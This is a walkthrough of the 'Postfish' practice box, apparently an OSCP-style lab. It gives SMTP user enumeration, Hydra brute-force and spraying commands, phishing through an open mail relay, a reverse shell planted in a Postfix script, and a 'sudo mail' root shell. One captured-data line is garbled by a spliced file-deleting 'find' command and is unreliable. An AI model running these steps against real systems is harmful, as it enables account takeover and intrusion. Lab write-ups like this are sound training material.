Postfish

Introduction

On this intermediate-level PG practice Linux box, I discovered email-related ports (SMTP, IMAP, POP3) were open. Using SMTP user enumeration, I harvested valid usernames and then performed a brute-force password attack with Hydra using the same user list. After accessing a user’s email, I discovered email and set up a web server with POST request capture to intercept another user’s login. Once I got a shell, I found my user was in the postfix filter group and leveraged this to escalate to the filter user. From there, I identified sudo privileges over the mail binary, which I exploited to gain a root shell.

Nmap

TCP

Run a quick Nmap TCP scan:

sudo nmap -sV $IP --open

UDP

Check top 100 UDP ports:

sudo nmap -sU -F $IP

Full Port Scan

sudo nmap -sV -sC -p- $IP -Pn -n -v --open

Services

Port 22

Version - OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)

We usually skip SSH.

Port 25

I checked if target is open relay and it seems it is.

• Username Enumeration

  • We get a list of usernames from website modify them to find various combinations using username-anarchy:

      /opt/brute-force/username-anarchy/username-anarchy -f first,first.last,last,flast,f.last -i users.txt > usernames.txt
    

      sudo smtp-user-enum -M VRFY -U ./usernames.txt -t $IP
    

    

  • Run through more general username list:

      sudo smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Names/names.txt -t $IP
    

    

  Potential mail users:

    hr
    irc
    sales
    claire.madison
    mike.ross
    brian.moore
    sarah.lorem
  

Port 110/995 (POP3)

Port 143/993 (IMAP)

Web

Port 80

Add domain to /etc/hosts file.

I just found team usernames.

Exploitation (Shell as brian.moore)

I am gonna brute-force usernames that I have found and modified using username-anarchy through hydra imap brute-forcing

hydra -L pot_usernames.txt -P pot_usernames.txt imap://$IP

I am gonna use these credentials to login to POP3

IT team should send password-reset links to sales team. I am gonna first send a link to my http-server and see what happens using open-relay functionality of SMTP. I am gonna send the email tobrian.moore@postfish.off as he is in sales team.

http://192.168.45.214/

I received this:

We should setup a server that can accept POST requests.

I used the following server script to be able to accept post requests

We received:

first_name=Brian
last_name=Moore
email=brian.moore%postfish.off
username=brian.moore
password=EternaLSunshinE
confifind /var/mail/ -type f ! -name sales -delete_password=EternaLSunshinE

Let’s perform password spraying with hydra:

hydra -L pot_usernames.txt -p EternaLSunshinE imap://$IP

hydra -L pot_usernames.txt -p EternaLSunshinE ssh://$IP

Shell as filter

• OSCP Checklist
  • Situational awareness
  • Exposed Confidential Information
  • Password Authentication Abuse
  • Hunting Sensitive Information
  • Sudo
  • SUID/SGID
  • Capabilities
  • Cron Jobs Abuse
  • Kernel Exploits
  • Check if sudoers file is writable
  • Try credentials you already obtained for various services admin roles
  • Check running processes using pspy

In /var/mail we can see the email we sent to brian.moore:

Checking my groups I found that we are in mail and filter groups.

Checking processes running by root I found out that /root/disclaimer.sh file is executed by root. I searched about this disclaimer thing in postfix and found the following article.

Reading the article we understand that, disclaimer_addresses are addresses for which the disclaimer will be applied, the script is modified version so disclaimer is not applied for incoming emails, just for outgoing emails, and then the script /etc/postfix/disclaimer will be run. I am gonna add a reverse shell to the script and then send email either as brian.moore or it to anyone else.

Now let’s send an email to claire.madison as brian.moore.

Privilege Escalation

Checking sudo privileges I see:

GTFOBins-SUDO-mail

sudo mail --exec='!/bin/sh'

Credentials

sales : sales #POP3, IMAP
brian.moore : EternaLSunshinE #POP3, IMAP, SSH

Mitigation

• Disable verbose SMTP responses or implement tarpitting to mitigate user enumeration.
• Use strong, unique passwords; implement account lockout mechanisms.
• Restrict mail-related group memberships and validate access control policies.
• Monitor and restrict sudo permissions, especially for mail utilities.
• Regularly audit and harden mail server configurations (Postfix, Dovecot, etc.).